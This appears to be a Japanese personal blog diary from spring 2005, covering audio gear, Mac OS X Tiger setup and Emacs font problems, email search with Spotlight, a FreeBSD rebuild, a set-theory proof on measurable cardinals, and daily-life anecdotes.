今度は右のスピーカーですが、こちらもねじがかなり甘い状態で、いまいちきつくしまりません。そもそも元のケーブルはやっと接触していたという状態で、よくこれで音が出ていたものです。てなことやってるうちに、
マイナス側のねじが取れました(笑)。
仕方がないのでこちらは接点のところに直接ハンダ付けです。
というわけで、色々難航したのですが、アンプ側はもちろん問題なく接続できまして早速試聴したのですが、
とっても良い音なんですよ(^^。
いやはや、アンプを頂いて画期的に良い音になったと思ったのですが、さらに上のレヴェルがあったのですね。低音のしまりが良くなり、高温もさらに伸びるようになりました。そりゃ元の繋ぎ方では音が最良でなかったのは当然なのですが、いずれにしても 1メートル 200円ケーブル購入大成功です。
余談ですが、アンプとスピーカーの位置関係により、4メートルのケーブルを 1.5メートルと 2.5メートルに配分して切ると丁度良いはずだったのですが、いい加減に切ったら 2.5メートルにするつもりの方がちょっと短くなってしまいました(汗)。むむっこれはまずい！！と思いかなりあせったのですが、なんとか長さは間に合ったようです。
ただしそれを横で見ていた奥様のつっこみがありまして、
そういえば、あなたベルトの長さを調整してて、切りすぎたことあったよね。
ということで、まあこういう計画性なくいいかげんに物事を行う性格は一生直らないのでしょうな(^^。

2005年5月7日(土)

メール全文検索
いつもメールクライアントとして Mew/Emacs を便利に使用しています。ただし、ちょっと不便なのが全文検索をしたい場合でして、メールの場合この用途って案外多いのですよ！。ネットを検索すると namazu 関連のソフトと、いくつかのemacs-lisp を導入すれば、Mew でも全文検索が可能となるそうですが、昔一度やってみてはまったので、いまいち乗り気になりません。
ところで Mac OS X Tiger には Spotlight なる、システム全体のファイルから文字列を拾ってきてくれたりする機能がありまして、これがとっても便利なのです。ただし残念というか当然のごとく、 Mew のメール格納方式は mh 形式で、これらは Spotlight の対象にはなりません。さらに、もし検索してくれてたとしても、Spotlight にとってはエンコードが不明なため、日本語の検索はうまく行きません。
というわけで、なんとか Spotlight 様にメールの検索をして欲しいのですが、いくつかの方法が考えられまして、
1. ~/Mail/ 以下の重要なフォルダーの各メールの内容を SJISにして(笑)別フォルダーに転送して .txt なる拡張子をつける。
2. ~/Mail/ 以下の重要なフォルダーの各メールの内容の先頭に Content-Type,CharSet を示すHTML タグを添加して、さらに本文は <pre>タグで囲ってしまい、html なる拡張子で別場所にコピーする。
3. いっそ Apple Mail に乗り換える。
1,2 に関して、実験によりうまくゆくことは確認したのですが、単なるテキストやHTML と扱われるので、添付ファイル等の情報が可読となりません。まあ ~/Mail/ 以下のファイルの番号をそのまま継承すれば、実体のありかが分かるので、これでも使えないことはないのですが、「新しく受信したメール」をコピーする運用に関して emacs-lisp で何か書けば良いのでしょうが、いまいち分からなかいのが難点だったりします。
3 に関してですが、やはりちょっと使ってみると、個人的には Mew の方が使いやすいので、こちらも決断がつきません。
そこで考えたのは、Apple Mail を検索専用で使おうかということで、具体的にはメールサーバーのアカウントを一つ追加しまして、私宛のメールをそちらに転送して Apple Mail で読み込もうという訳です。この方法を使いますと、もちろん Spotlight の検索対象となりますし、検索された文字列をクリックすればApple Mail が開くので、添付ファイル等に関しても問題なく扱うことが出来ます。さらにそのメールに対して Reply する場合等にも、その場で行うことが可能になり、なかなか便利な環境になると思われるのです。
今までの受送信メールで重要なものを Apple Mail にインポートする方法ですが、 Apple Mail は mbox 形式のメールをインポート可能で、また mh 形式のファイル群を mbox 形式に変換するには(cat じゃだめだった...)、 mh2mbox なるプログラムにより可能でした。
結果としては大成功で、ちゃんとメールの移行も完了しましたし、それに対する日本語での検索も問題ないようです。ちとディスクがもったいないのが難点ですが、しばらくこの方法で運用してみようと考えています。ごく最近のメールは検索する必要がない場合が多いので、Apple Mail 側での読み込みは気が向いたときで十分だと思われます。
＃大量のメールをインポートしているときに、他のプロセスがほとんど動かなく
＃なります。まあ一度だけの作業なので問題ないでしょう(^^。

2005年5月5日(木)

連休最終日
今日は連休の最終日です。いつもですと憂鬱になるところですが、明日出勤してうだうだしてればまた土日休み、というのがなかなかおいしかったりします。
連休中はほんとにごろごろして過ごしてましたが、趣味の数学勉強は少し進んだかも知れません。というわけで今年はこれからかなり忙しくなると思われるので、そろそろ本気モードになんなければな～、と思っているのですが、その前に総務から「机のまわりを片付けなさい」とのお達しが出ているので、まずはそこからなんとかしなければいけません。
PC の中は社内で一番整理整頓が出来てると思うのですがねえ(^^。← でも Windows PC や Linux PC の中は乱雑。Mac と FreeBSD の中は整理されているということは、やっぱこういうのって思い入れにより変わるのでしょうな。

2005年5月4日(水)

お買い物～
なんか ISDN のルーターが必要ということで、会社のえらい人から、連休中にヤマハの RT57i なるルーターを二台買っといて欲しいというご要望がありまして、本日買い出しです。いやはや休み中なのに面倒だなー、そもそも今時 ISDN ルーターなんて売ってるのかいな～、と思いつつ新宿のビッグカメラに行ったところ、丁度二台置いてありました(笑)。
お値段の方ですが、なんと一台 38,000円くらいで二台を会社へ 6日着の荷物にしてもらって、税込みで 77,830円なり。うーむ高いですな...。でも大きい声では言えませんが、
ポイントが 6,000円位ついちゃいました(^^。
それならもっと高けりゃいいのに(笑)。あと店内をうろついてたら、オーディオ関係の売り場でスピーカーケーブルを売ってました。今使っているスピーカーケーブルは 25年もので、かなりくたびれていると思われるので、一番安い 1 メートルあたり 190円のを 4メートル購入です。
驚いたのは高いケーブルの値段！！。1メートル 7,000円なんてのもあったりするのです(もしかしてもっと高いのもあったかも)。いやはやこういう世界は上を見るときりがないです。
あと、 Mac 関連の売り場ではやはり Tiger 一色という感じで、まああまり長居をすると散財の危険があるので、今日は 1時間半位で引き上げて来たのでした。

2005年5月2日(月)

Emacs環境その後
Mac OS X の Emacs 環境としては、Terminal 上で /usr/bin/emacs を使用していたのですが、なぜかみかちゃんフォント以外では行末が変になるという現象に悩まされていたのです。みかちゃんフォントも慣れると日記を書いたりするにはそんなに悪くないのですが、やっぱり連休が明けて仕事でドキュメント(もしろん出力はみかちゃんになりませんが^^)やプログラムを作るには向いてなさそうです。
そこでいろいろ実験。
1. ~/Library/Preferences/com.apple.Terminal.plist を削除して、 Terminal.app の設定をやり直す。これは 10.3 の時の設定をクリアーにするためです。
2. fink で emacs を導入して、そちらで実験。
3. フリーソフトの JTerminal をインストールして実験。
結論を言いますと 1,2はうまくいきませんでした。ところが 3はうまくゆきまして、これは素晴らしいと、JTerminal のフォント設定をいつも使っていた Courier 14 ポイントに変更したのです。ところがこの場合は JTerminal がうまくカーソル位置を制御できなくなるようでした。JTerminal は Osaka 等幅 12 ポイントフォントでないとカーソル位置と文字の位置に不整合が発生するらしいのです。
ところがこれが素晴らしいヒントに...。なんと
Mac OS の Terminal.app のフォントを Osaka等幅にしたらうまくゆくではないか(笑)
いまいち記憶にないのですが、もしかすると Terminal.app のデフォルトのフォントって Osaka だったかも知れません。というわけで、もし私の記憶が正しいとすると、ほとんどの人が Terminal を Osaka フォントのままで使用していると思われるので、いくらネットを探しても問題報告が出てないわけです。
個人的には今まで Terminal で使用していた Courier 14ポイントが好きなのですが、Osaka 14ポイントでも(Bold なのが気に入らないのですが)十分使用に耐えます。というわけでいずれもし直ったらCourier に戻ることにして、まあ直らなければ Osaka の使用でも特に困らないので、やっとこ Tiger へのヴァージョンアップ成功という状態になったと思われるのです(^^。

2005年5月1日(日)

電話ごっこ
本日から奥様の AH-K3001V の契約がウイル込む定額プランのサービスに変更となりまして、私宛てと何人かの知り合いへの電話代は無料となります。なので電話遊び(^^。ふたりともおうちの中なのですがねえ(笑)。結局 30分くらいお話ししましたが、もしかして顔合わせているより、色々話題を考えるので、おしゃべりする時間が長くなるかも....。
そうはいうものの、すぐにあきてしまうので、これからは私が会社にいる昼休みとかにせっせと電話をかけてもらうしかなさそうです。さらに、私は毎日「これから帰ります」コールをするのですが、これに関しては今後ワン切りを行い、奥様からかけ直してもらうことになります。ちと不便ですな。

2005年4月30日(土)

連休の目標
諸般の事情にて今日も「みかちゃんフォント」で日記書いてます(^^。慣れるとなんとかなるもので...。ところで、今回の連休は5月2日を有給にしまして、7連休なのです。でももう二日目なので、あと6日ということになりますか。
目標といっても、特にどこかにおでかけするとか、そういう予定は全然ないのですが、最近さぼりにさぼっていた趣味の数学の勉強でもしようかな～、と思っています。ただ勉強した内容をこの日記に書こうとすると、すごーく時間がかかるし、いまいち本質的に重要な部分を手抜きしたりする傾向が感じられるので、もし書くとしても一段落してからということになりそうです。いずれにしても、書いても誰が読むということもないので、これに関して全く実害はないのですが、他のねたを考える必要があるのがちょっと辛いところなのです(^^。

2005年4月29日(金)

Mac OS X V10.4 Tiger 来たる
三日前の Apple からのメールの文面を素直に解釈すると、明らかにフライングで届くはずだったのですが、結局発売予定日の本日到着しました。さっそくインストールを行ったのですが、ちょっと迷ったのが、クリーンインストールするべきか、それともアップデートインストールをするべきかだったのですが、さすがに最初からのインストールなると、環境の復元が大変そうだったので、アップデートを選択しました。もちろん現行の重要なファイル、特に /home/kagami/(/Users/kagami) 以下に関してはすべてバックアップを行いました。
さらに、上書きインストールといいましても、インストールに関連するディレクトリー以下は全部バックアップ(というか事前に別名で mv するだけと思われる)されるというモードを使用したので、設定ファイル関連で訳が分からなくなったものでも復元ができそうです。
で、インストール自体は順調に進んだかといいますと、いろいろとちょんぼがありまして、それらを列挙しますと、...
- 言語を選びすぎて大量のディスクスペースを消費した。　
- プリンタードライバーを選びすぎて大量のディスクスペースを消費した。
- X11を選択するのを忘れた。
等色々ありまして、結局3回くらいインストールを行うはめになったのです。それでも起動すると大部分の環境は以前の通り保存されていまして、再設定する必要はほとんどありませんでした。
ところで、今回一番期待していた、Spotlight(いわゆる全文検索)の機能ですが、これがなかなか良く、私自身PC内の整理整頓に関しては割とまめに行っている方だと思うのですが、それでもファイルの行方を探すのに苦労する場合がない訳ではなく、この機能は非常に重宝しそうな気がします。しかも OmniOutliner や OmniGraffle のサイトを検索したところ、早くも Tiger 対応ヴァージョンがアップされていまして、これをインストールすると、これらで作成した文書や画像の内容も検索対象になるというおまけまでついていました。
さらに以前からちょっと気になっていた、
アンチエイリアスの副作用で文字の濃淡が薄く見ずらい場合があった
のが完全に解消されていまして、文字がとっても読みやすくなりました。それから明らかに動作速度が向上しています。
というわけで、いいことだらけのようですが、一つだけとっても困ったことが発生しました！。私は Apple の Emacs を Terminal 上で使用しているのですが、行末の文字が表示されない場合があるのです(行により表示されたりされなかったり)。Ctrl-L でリフレッシュしても改善しません。というか悪化する場合もあったりしまして、なんと一番肝心な用途で使い物にならないというホントに困ったことになったのです。
なんとなく Emacs の問題というよりも Terminal 側の表示の問題の様な気がするのですが、今のところ全然原因が分かりません。そこでフォントをいろいろ変えてみたりもしたのですが、なかなかうまくゆきません。うーむ、これはしばらくの間、一度捨てた X11 の Emacs を使うしかないかとあきらめかけたのですが、なんと、
みかちゃんフォントだと問題が発生しない(笑)
ということが判明いたしまして、いやはやしばらく HTML や LaTeX の編集、さらにはプログラムの編集までみかちゃんフォントで行うことになりそうです(^^。
＃連休明けまでに対処方法が分かると良いのですが...。

2005年4月28日(木)

小事件
おうちの前の歩道の上にはバイクや車よけのポールが立っているのですが、本日朝歩いてたら、通学途中の小学生の男の子二人がそのポールで馬跳びをしてたのです。ここまでは良くある光景なのですが、片方の子が乗ってたらポールが折れました(笑)。
ちょっと横で様子を見てたら、二人とも「どうしようかー困ったな～」と感じでしばらく話してたのですが、突然乗っていなかった方の子供が先に行ってしまいました(^^。うーむはかない友情...。
というわけで、残った方の男の子が困りに困ってポールを立て直そうと必死になっていたのですが、もちろん折れちゃったのが元に戻る訳がありません。そこで、「どうしたの」と声をかけてあげて、「そんなのもう古くなってて偶然折れたんだから学校に行って大丈夫だよ」と言いまして、私はポールを歩道の横に放置して会社に向かったのでした。
奥さまに電話で経緯を話したところ、ここ数日いつ折れても不思議がない状態だったそうで、そもそも子供というのは何かあればそれで遊ぶわけで、折っちゃった子は運が悪かったと言うしかありません(^^。けがしなくて良かったです。

2005年4月27日(水)

しらたまちゃん力つきる
昨日、人様にもらってしらたまちゃん(Apple Wireless mouse) に入れてあったFUJIFILM 純正リチウム電池が切れました。この電池を使い始めたのは3月22日からなので、35日間程度持ったことになります。
アップルのおまけに付いてきたリチウム電池の寿命が 20日、オキシライド乾電池の寿命が 18日くらいなので、購入コストを考えなければとっても優秀... と言いたいところなのですが、この一月間は外出が多かったのと、しらたまちゃんをおうちや会社に忘れたりが何回がありまして、以前と同等の使用頻度に換算すると 25日～30日程度の寿命と思われます。
ありがたくも頂いたFUJIFILMリチウム電池は、まだ10個残っているので、今後 5ヶ月程度使用出来そうですが、購入すると 2個で 500円以上程度の出費が必要だと思われます。なので、それがなくなったあかつきには、やはり2個 160 円程度で手に入るオキシライド乾電池で 18日間使用するのが最も効率が良さそうです。
余談ですが、しらたまちゃんの評価を色々読んでみると、結構好き嫌いが分かれるようで、嫌いな理由としては、
1. 重い
2. 電池の持ちが悪い
3. ボタン一つでは不便
あたりが代表のようです。個人的には重いのは全然気にならず、逆に高級感があって好ましいと感じます。電池の持ちが悪いのは我慢するとして、ボタン一つは、たまに会社とかに持ってくのを忘れたりして、通常のくるくる付き二つボタンマウスを使うと、右ボタンはどうでも良いのですが、「くるくる」は便利だな～、と思わんではないのです。ただし、この卓越したデザインを考えると、くるくるを付けるのは不可能と言う感じで、まあこれはこれで好きで使っているのだから良いのでは、と思っていたりします(^^。

2005年4月26日(火)

虎出荷
Apple からメールが来ました。それによりますと、
M9639J/A OS X V10.4 "TIGER" RETAIL-JPN
本日以降、1-2営業日以内にお届けにあがる予定となっております。なお、納品日は交通事情離島部および一部地域、その他天候によって変更される場合があることをご了承ください。
ということで、むむむのむ、予定としては 4月29日発売なのですが、これはフライングで到着する可能性が強いですな。ということは明日もしくは明後日は仕事にならない訳で...。いやいやそんなことは口がさけても言えないのでした(^^。

2005年4月24日(日)

絶対音感だったモカちゃん
本日モカちゃんが、「パパー、この音分かる～」とピアノの鍵盤を叩いたのですが、わたしゃ規準音がないとこういうのはだめなので、「全然分かりません」と降参したのです。ところがモカちゃん曰く、「どうしてこんなのが分かんないのよ！簡単じゃん」ということで、試しに半音階も含めていろんな音を出して当てさせたところ、これが全部正解なのですよ(^^。さらに一時間位間をおいてから同じことをやったのですが、こちらも全部正解！！。
ただし、ちまたで良く言われている、「本当の絶対音感を持つ人は、音楽以外の普通の音も音階で聞こえてしまう」ということはないそうで、モカちゃんに言わせると、「そんな風に回りの音が聞こえたら大変。そういう人ってちょっと可愛そうだと思う」ということなのです。
うーむ、この人とは 11年以上ほとんど毎日付き合ってきましたが(なんのこったい^^)、絶対音感を持っているとは全然気が付きませんでした。やけに暗譜するのが速いとは思っていましたが、そういう訳だったのですか。それにしても、両親とも絶対音感に関しては全然だめだし、特に訓練した訳でもないのに、どうしてこんな能力があるのだろう。謎ですな(^^。
Ulam の定理(続き)
[集合論雑記目次]
本日は次の事実の証明を記述します。
基数 $\kappa$ 上に測度 $\mu$ が存在すれば、その下に弱到達不可能基数が存在する。
以下 $\kappa$ を測度が存在する最小の基数とします。その仮定の下で証明は次の方針で行われます。
$\kappa$ 上の測度 $\mu$ に対し $\mathcal{I}=\{X\subset{\kappa}|\mu(X)=0\}$ (即ち null set からなる集合)とすると $\mathcal{I}$ はイデアルで次の性質を満たします。
$\mathrm{(a)}\,\{x\}\in{\mathcal{I}}\quad\mathrm{for~all}\quad{}~x\in{\kappa}$
$\mathrm{(b)}\,(X_n)_{n\in{\omega}}$ を $\mathcal{I}$ の可算列とするとき $\bigcup_{n\in{\omega}}X_n~\in~\mathcal{I}$
$\mathrm{(c)}$ 互いに素で非可算な $\kappa$ の部分集合族に対してその少なくとも一つは $\mathcal{I}$ に属する。
このとき $\kappa$ の最小性を利用すると、 $\sigma$ -complete ultrafilter が $\kappa$ -complete ultrafilter となる論法と同様に、次の事実を証明することが出来ます。
$\mathcal{I}$ は $\kappa$ -complete。即ち任意の $\lambda<\kappa$ に対し、 $(X_\eta)_{\eta<\lambda}$ を $\mathcal{I}$ の要素の族とするとき $\bigcup_{\eta<\lambda}X_\eta~\in~\mathcal{I}$
上記により $\kappa$ が非可算正則基数であることが容易に導かれます。
残るは $\kappa$ が極限基数であることの証明ですが、次の Ulam matrix なる概念を利用します。
[Ulam matrix の定義]
次の性質を持つ集合族 $(A_{{\beta}{\alpha}})_{{\beta\in{\lambda^{+}}},{\alpha\in{\lambda}}}$ を $(\lambda^{+},\lambda)$ -Ulam matrix と称する。ここで $\lambda^{+}$ は $\lambda$ の次の基数。
(0) $A_{\beta\alpha}\subset{}\lambda^{+}\quad~\mathrm{for~all}\quad~\beta\in\lambda^{+},\alpha\in\lambda$
(1) すべての $\alpha<\lambda$ に対して $A_{\beta{}\alpha}~\cap~A{\gamma{}\alpha}~=~\emptyset\quad~\mathrm{for}\quad~\beta\neq{\gamma}$
(2) すべての $\beta<\lambda^{+}$ に対して $|\lambda^{+}~-~\bigcup_{\alpha<\lambda}{A_{\beta\alpha}}|\leq{\lambda}$
任意の無限基数 $\lambda$ に対し $(\lambda^{+},\lambda)$ -Ulam matrix は存在します。実際 $\beta<\lambda^{+}$ とすると $|\beta|\leq{\lambda}$ なので、上への関数 $f_\eta:\,\lambda~\rightarrow~\eta$ が存在し、各 $\eta<\lambda^{+}$ に対して $f_\eta$ を固定して $A_{\beta\alpha}~=~\{\eta\in\lambda^{+}|f_{\eta}(\alpha)~=~\beta\}$ と定義すれば (0)(1)(2) の性質を満たすことが分かります。
さて、ここで $\kappa=\lambda^{+}$ 上に (a)(b)(c) を満たすイデアル $\mathcal{I}$ が存在したと仮定します。ところが (1)(2) の条件により $\alpha\in\lambda$ が存在し、非可算の $\beta\in\lambda$ に対して $A_{\beta\alpha}\not\in{\mathcal{I}}$ が成立しますが、これは条件 (c) に反します。言い換えると (a)(b)(c) を満たす零集合イデアル $\mathcal{I}$ を導出する測度をもつ最小の基数 $\kappa$ は極限基数であり、正則性と合わせて弱到達不可能基数となります。特に atomless な測度が存在する場合、前回の結果と合わせることにより $2^{\aleph_0}$ の下に弱到達不可能基数が存在することが導かれます。

2005年4月23日(土)

久々の make world
最近完全に放置状態の FreeBSD マシンの R30 と X24 ですが、セキュリティー問題も大分累積されてきたようなので、久々に cvsup と make world を行いました。もっともセキュリティーといっても、ftp クライアントの問題とcvs に関する問題らしく、ftp クライアントは社内で組み込み機器に対しては良く使用するのですが、もちろんこの場合セキュリティー上の問題は発生しません。さらに cvs の問題に関しては、おうちの cvs server は ssh トンネル経由でないと使用出来ないので、脆弱性は ssh 側に帰着するわけでして、こちらも問題ないはずです。
そうはいうものの、あんまり長時間放置すると、いずれに本当に必要なアップデート行う場合に、突然動かなくなったりする危険があることを鑑みた対処なのです。
で、例のごとく、さっそく次の手順で行ったのですが、
```
  # cd /usr/src/
  # (rm -fr /usr/obj/* && make clean && make buildworld && \
     make kernel KERNCONF=KAGAMI) >/tmp/make.log 2>&1 &
  # reboot
  # make installworld
```
特に問題なく終了しました。それにしてもマシンに愛情がなくなると OS のアップデートも面倒になってくるもので、FreeBSD-5 系列に更新する日が果たして今後来るのかどうか、とっても微妙な状況なのです(^^。
余談ですが、3日ほど前に Mac OS X の新しいパッチが出たので、インストールを行ったのですが、色々な場所の記事にも記載されている様に、Java 関連の問題をかかえていたようで、それに付随して Java を使用したサイトを閲覧すると、Safari が落ちる様になってしまいました。今まで Safari が落ちるのを見たことなかったので、なんか変だな～、と思っていたのですが、これに関しては、手作業での復旧方法が Apple からアナウンスされていたので、それに従ったところ簡単に直りました。さらに昨日あたりには、問題点を解消する新パッチも公開されたようです。まあこの OS とも後一週間のつきあいなので、どちみち大勢に影響はないのですが...(^^。

2005年4月22日(金)

欠食素数
私の会社の仕事は、自然現象におけるデーター観測収集機器の製造販売がメインなのです。ところが、私ってデーターの重要性を全然認識していないし、集めるのもあんまり好きでなかったりします。データーを集めたり、実験をしないとちゃんとした理論が出来ないなんて、単にその「理論と称するもの」が未発達であることをあからさまに示しているとしか思えないからです。それに観測や実験のデーターって絶対に正確にならないし。
いやはや、すんごい反科学思想ですな(^^。でもそう思っているのは事実。
そこでついつい親しい人の前では本音を...。
連続データーがたまに欠測しても大勢に影響ないじゃん(^^
さらにデーターの精度に関しても、
この位合わなくても大勢に影響ないじゃん(^^
と言ったりしてひんしゅくを買う場合も多かったりします。そんな話を隣の S さんと話していたのですが、やはり観測系の研究者の方にとっては、正確で欠落がないデーターが命ということで、まあ少なくともお客さんの前では上のようなことは絶対に言わない様にと釘をさされたのです。
それはそうと確かに上の考えはあんまり宜しくないようで、例えば大きめの素数 $p$ と $p-1$ の違いなんて、普通の人にとってはほとんど問題にならず、「大勢に影響がない」ということになると思うのですが、もちろん私としては「そんなこととんでもない！」と感じる訳です。
これに関しては「大きさ」の尺度に対する不一致があり、「素数である」とか「割り切れる」という関係を考える場合、通常の大小関係ではなく、整除性に関する「自然な半順序」、すなわち
$a$ が $b$ を割り切るとき $a$ は $b$ より大きいと考える
なるものを考えれば、 $p,p-1$ は全然近くない数となるのですが、とにもかくにも人様が大切にしているものに対して、あんまり批判的なことを口外するのはよろしくないようです(^^。

2005年4月21日(木)

電車が止まる
今日はつくばで打ち合わせだったのです。家を出たのが 8時でつくば到着が 11時30分。その後、みんなとラーメン屋さんでお昼を食べたのですが、ラーメンだけでは少々不足であろうと考え、一緒に行った K さんが「異常に量が多いですよ！」と忠告するにもかかわらず、ラーメン・ミニチャーハン・餃子のセットを注文したのです。いやはやところがこれの量がほんとにに多く、ラーメン自体がすでに大盛りなのですよ(^^。それでも残すのはもったいないので、苦労して全部食べました！！。
そういえば、昔吉野家で「大盛り」の牛丼を注文したのに、なんか体調が悪くて残してしまったことがあります。いやー、大盛りを注文して残すのってとっても恥ずかしいですよ～。あれは人生最大の不覚だったかも(^^。
打ち合わせは 13時30分で、それ自体は 15時半頃に終わったのですが、その後営業さんの別件の打ち合わせが案外長く、結局終了したのが 17時過ぎ。18時頃の電車に乗って、21時頃藤沢到着の予定だったのですが、東海道線の平塚あたりで人身事故が発生したということで、横浜駅で 1時間半も止まってしまったのです。
後で考えると大船まで横須賀線で行って、そこからバスで藤沢に出るか、奥さまに迎えにきてもらえば良かったのですが、まあ 30分くらいで復旧するだろうとだらだら待っていたのが失敗でした。
結局藤沢到着が 22時半近くで、結局今日は 7時間半電車に乗っていたことになります。こんなことになるのなら、名古屋や大阪への日帰り出張の方がまだ楽だったかも知れません。ちなみに明日は山梨県の禾生へ日帰り出張。こちらも片道 3時間コースです(^^。

2005年4月17日(日)

色々聴いてみる
昨日設置した頂き物のアンプでいくつかピアノの演奏を聴いてみました。
1. グレン・グールド演奏「バッハ・平均率クラビーア曲集1」
2. ウィルヘルム・バックハウス演奏「ベートーヴェンピアノソナタ作品106・ハンマークラヴィーアソソナタ」
3. アルトゥール・ルービンシュタイン演奏「ショパンノクターン集」
いずれも、今まで自宅で聴いた経験としては一番良い音で、平均率に関しては音の分離が良いからだと思うのですが、フーガの構造がとても分かりやすいし、グールド特有の細かいニュアンスの変化とか、ハーフペダルで一瞬倍音が生じる部分など、とても美しく聞こえるのです。もちろんグールドのうなり声もとっても良く聞こえました(^^。
ハンマークラヴィーアソナタに関しては、この曲の特に最終楽章は楽譜を見ながらでないとついて行けなくなる部分があるのですが、やはりフーガの構造が分かりやすいのと、第三楽章の感動的な調べも十分堪能することが出来ました。
1,2を聴いて大分疲れたので、最後はあんまり疲れない曲を選んだのですが、こうして良い音で聴いてみると、ルービンシュタインというピアニストって、本能的なピアノのコントロール、テクニックがどうのこうのということではなく、その音楽に対して最も充実した最良の音を出すという意味で、他の人の追随を許さないことを再認識しました。素晴らしい！！。
というわけでちゃんとしたプレイヤーが欲しくなってきたのですが、案外値段は安く、そこそこのものが一万円以下で買えるようです。なので、奥さまに交渉したのですが、
どうせ買うなら VHS も限界なので DVD 録画できるのにしたら。
ということで、これはすぐに買える価格ではないので、まあ夏のボーナスあたりまで我慢するしかなさそうなのです(^^。

2005年4月16日(土)

アンプをもらう
実は先週たかたにさんに Sony の TA-V55ES なる AV アンプを譲って頂きまして、本日設置作業を行ったのです。ところで、今まで持っていたアンプは 20年位前に買った ONKYO のもので、当時としては最新とも思えるデジタル光入力対応だったのです。ところがこれのデジタル部分が購入後数ヶ月でノイズを出す様になってしまい、色々原因を探っているうちに保証期間が過ぎて、結局デジタル部分のケーブルをはさみでちょんぎったらノイズが出なくなった、という涙なしには語れない歴史を持っていたりします。
それでも割と透明感がある好みの音が出ていたので長年使用してきたのですが、最近はヴォリューム調整をするとノイズが乗ったり、イコライザーモードにすると音が出なくなるとか、スイッチがとれてしまい仕方がないので瞬間接着剤ではりつけてあったりと、ほとんど使いものにならず、さらに音質の劣化さえも感じられるという状態だったのです。しかも、現在おうちにはアンプの入力元としては、
1. PS2
2. PIONEER の LD プレイヤー
3. VHS ヴィデオ
があるのですが、1 のアナログ出力の品位は聞くに堪えません。さらに 2 に至っては LD を聴くことはまだ可能なのですが、CD を入れるとシーク出来ないとい状態で、まともに CD を聴く環境がなかったのです。
ところで、今回頂いたアンプは、もちろんデジタル入力をサポートしていまして、さっそく PS2 のデジタル出力に接続して聴いてみたのですが、いや～、これがとってもいい音なんですよ(^^。試しに(一部分ですが)聴いてみたのが、
- 谷山浩子さんの CD から数曲
- フリードリッヒ・グルダ演奏「ベートーヴェンピアノソナタ作品 31の3」
- グレン・グールド演奏「ベートーヴェンピアノソナタ作品 110」
- カルロス・クライバー指揮「リヒャルト・シュトラウス作曲・ばらの騎士」
あたりなのですが、前のアンプだと浩子さんのヴォーカルの伸びがいまいち、ピアノだと生の感触がいまいち、オペラに関してはオーケストラのヴァイオリンの繊細さがいまいち、と色々不満があったのが一掃されました。
ところで、前のアンプは諸般の事情で縦置きにして使っていたのですが、今回せっかく良いものを頂いたので、横置きにしようとレイアウトを考えたのですが、わずか 5mm の差で惜しくも横置きに配置するスペースはありませんでした(汗)。なので、誠に申しわけないのですが、せっかくの頂き物は縦置きで使用させて頂きます。
あと、スピーカーとアンプを繋ぐケーブルとか、かなり劣化していると思われるので、このあたりは連休頃までに準備して配線を見直す予定です。
余談ですが CD や DVD のソースが PS2 というのも色々不便なのと(起動音がならなければ我慢出来るのですが...)、デジタルでもちゃんと作ったプレイヤーの方が音質が良いはずなので、新しいのが欲しくなってきたのですが、これは予算の関係もあって、しばらく我慢するしかありません(^^。
いずれにしても、とっても良いものを頂きありがとうございます(^^。

2005年4月15日(金)

ああ勘違い
昨日会社で会議してたら、偉い人が、「それではこの件は今月中に」と期限をやけに強調するのですよ！！。その時思ったのが、
今月中って、来週いっぱいでもう連休なのに、間に合う訳ないじゃん(^^;。
ということなのですが、いやはや何を勘違いしてたんだか(^^。もちろん、あと二週間働かないと連休にはならない訳で、まあ仕事の方はなんとか間に合いそうでほっとしたのですが、一週間だと思ってたらあと二週間働かねばならぬのか、と思って少々がっかりしたのも事実なのです(^^。
初めてのデジタルディスプレイ出力
前に書いた様に、会社で PC を使用する時は、PowerBook の mini-DVI 出力を使ってデュアルディスプレイ環境を利用しているのですが、インターフェースとしては、おまけに付いてきた mini-DVI/VGA 変換機を利用したアナログ出力だったのです。
ところが昨日探し物をしていて、引き出しの中をあさっていたら、なんか DVI/DVI のケーブルみたいなのが出てきたのですよ(^^。むむむっ、これはなんだろう。もしかして会社の安物のディスプレイに付いてきたケーブルなのかな？。というわけで、ディスプレイの後ろを調べたら、
デジタル入力ケーブルを挿すとこが付いているではないか(笑)
うーむ、3年も使っていたのに全然気が付きませんでした。というわけで本日 PowerBook の、これまたおまけに付いてきた mini-DVI/DVI 変換コネクターを持参して繋げてみたのですが、当然ながら全く問題なく表示されました。
もともとこのディスプレイは今の会社に入社したときに購入してもらった IO DATA もので、Linux マシンに繋げていた時は色合いがとっても悪く、やっぱもう少し高いのを買ってもらえば良かったかな～、と後悔していたのですが、 PowerBook をアナログ接続したら十分満足出来る表示になったので、Linux 本体の Dell マシンのアナログ出力品位が宜しくないことが分かったものなのです。
肝心のデジタル化したご利益ですが、うまいことこれがますます奇麗な画面になりまして、いやはや安物ディスプレイとはいえ、デジタル入力で使用すればなかなかの品位が得られることを認識したのです(^^。

2005年4月14日(木)

3年経過
すっかり忘れていたのですが、この日記って 2002年4月9日から書いているのです。なので、大体 3年間継続したことになります。そこで、日記書いてて良かったことを列挙すると、
- ネットでのお友達が出来た。
- この3年間で何が起こったかすぐに分かる。場合によってはメモ代わりにもなる場合がある。
- 文章を書くのが楽しくなった。
- 写真を撮るのが楽しくなった。
- ほんの少しですが HTML を覚えた。
- 自作サーバーの運用はなかなか楽しい。
あたりでしょうか。逆に良くなかったこと。
- ねたがないと案外つらい(^^。
- ねたのためにおっきいカメラを持ち歩いてる(^^;。
- ねたのために散財する場合がある(^^;;。
- ねたのために行動する場合がある(^^;;;。
いやはや、ポリシーとしては毎日更新なので、ねたがないとほんとにつらいんですよ～これが(^^。というわけで、これから何年続くかは全然分からないし、最近さぼる日も多くなってきたのですが、今後とも宜しくお願い致します。

2005年4月13日(水)

Mac OS X v10.4 Tiger
昨日 Mac OS X の新ヴァージョンである Tiger の発売日が発表されまして、日本では米国に先行して 4月29日なのだそうな。
まあ新しい OS というのは色々トラブルがつきものなので、半年くらい様子を見てから購入するのがいいかな～、と思っていたのですが、発売日が丁度連休初日ということで、気が付いたら購入ボタンを...(^^。税込みで 14,800円でした。
ヴァージョンアップしても単にディスクの容量を消費して、さらに遅くなるだけという可能性もあるのですが、最新の検索機能というふれこみの Splolight と、あと Dashboard には少々興味があったりします。
ちなみに米国でもほとんど同時に発売なので、ゴールデンウイークをねらった訳ではないのでしょうが、いやはや「連休中のお遊び」にひかれて、思わず購入してしまう人は、私だけではないような気がします(^^。

2005年4月12日(火)

たこやき
諸般の事情により組み込み機器に入れる 256Mバイトの CF 64 枚を今日中に焼く必要が生じたのです。焼くこと自体は簡単で、まずマスターの CF を準備して、
```
